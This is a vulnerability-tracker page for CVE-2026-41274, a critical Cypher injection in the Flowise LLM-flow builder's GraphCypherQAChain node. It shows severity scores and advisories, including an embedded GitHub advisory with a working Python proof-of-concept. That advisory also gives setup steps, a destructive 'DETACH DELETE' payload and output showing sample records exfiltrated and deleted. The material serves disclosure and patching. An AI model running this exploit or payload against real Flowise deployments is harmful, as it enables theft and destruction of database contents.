CVE-2026-41274

criticalpriority · track · 39EPSS 0.005 · 43 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.51% (43rd) EPSS
CVSS 9.8 · critical
Is it mine?
7 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · cert_bund · nvd

EPSS · scored 2026-10-27

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 3.9 · impact 5.9
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.08.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (7)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1145Flowise: Mehrere SchwachstellenDeutsch2026-04-15csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, und um Dateien zu manipulieren.

  • GHSA-28g4-38q8-3cwcFlowise: Cypher Injection in GraphCypherQAChain2026-04-16ghsa · osvUS

    ## Summary The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. ## Vulnerability Details | Field | Value | |-------|-------| | Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` | | Affected Lines | 193-219 (run method) | ## Prerequisites To exploit this vulnerability, the following conditions must be met: 1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server 2. **Vulnerable Chatflow Configuration**: - A chatflow containing the **Graph Cypher QA Chain** node - Connected to a **Chat Model** (e.g., ChatOpenAI) - Connected to a **Neo4j Graph** node with valid credentials 3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`) <img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" /> ## Root Cause In `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization: ```typescript async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> { const chain = nodeData.instance as GraphCypherQAChain // ... const obj = { query: input // User input passed directly } // ... response = await chain.invoke(obj, { callbacks }) // Executed without escaping } ``` ## Impact An attacker with access to a vulnerable chatflow can: 1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields 2. **Data Modification**: Create, update, or delete nodes and relationships 3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database 4. **Schema Discovery**: Enumerate database structure, labels, and properties ## Proof of Concept ### poc.py ```python #!/usr/bin/env python3 """ POC: Cypher injection in GraphCypherQAChain (CWE-943) Usage: python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY> """ import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000") ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain") ap.add_argument("--token", help="Bearer token / API key if required") ap.add_argument( "--injection", default="MATCH (n) RETURN n", help="Cypher payload to inject", ) args = ap.parse_args() payload = { "question": args.injection, "overrideConfig": {}, } headers = {} if args.token: headers["Authorization"] = f"Bearer {args.token}" url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}" try: status, body = post_json(url, payload, headers) print(body if body else f"(empty response, HTTP {status})") except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main() ``` ### Test Environment Setup **1. Start Neo4j with Docker:** ```bash docker run -d \ --name neo4j-test \ -p 7474:7474 \ -p 7687:7687 \ -e NEO4J_AUTH=neo4j/testpassword123 \ neo4j:latest ``` **2. Create test data (in Neo4j Browser at http://localhost:7474):** ```cypher CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'}) CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'}) CREATE (a)-[:KNOWS]->(b) ``` **3. Configure Flowise chatflow** (see screenshot) ### Exploitation Steps ```bash # Data destruction (DANGEROUS) python poc.py --target http://127.0.0.1:3000 \ --flow-id <FLOW_ID> --token <API_KEY> \ --injection "MATCH (n) DETACH DELETE n" ``` ### Evidence **Cypher injection reaching Neo4j directly:** ``` $ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ... {"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...} ``` The error message comes from Neo4j, proving the injected Cypher is executed directly. **Data destruction confirmed:** ``` $ python poc.py ... --injection "MATCH (n) DETACH DELETE n" {"json":[],...} ``` Empty result indicates all nodes were deleted. **Sensitive data exfiltration:** ``` $ python poc.py ... --injection "MATCH (n) RETURN n" {"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...} ```

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-04-23modified 2026-10-26
08

references (4)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan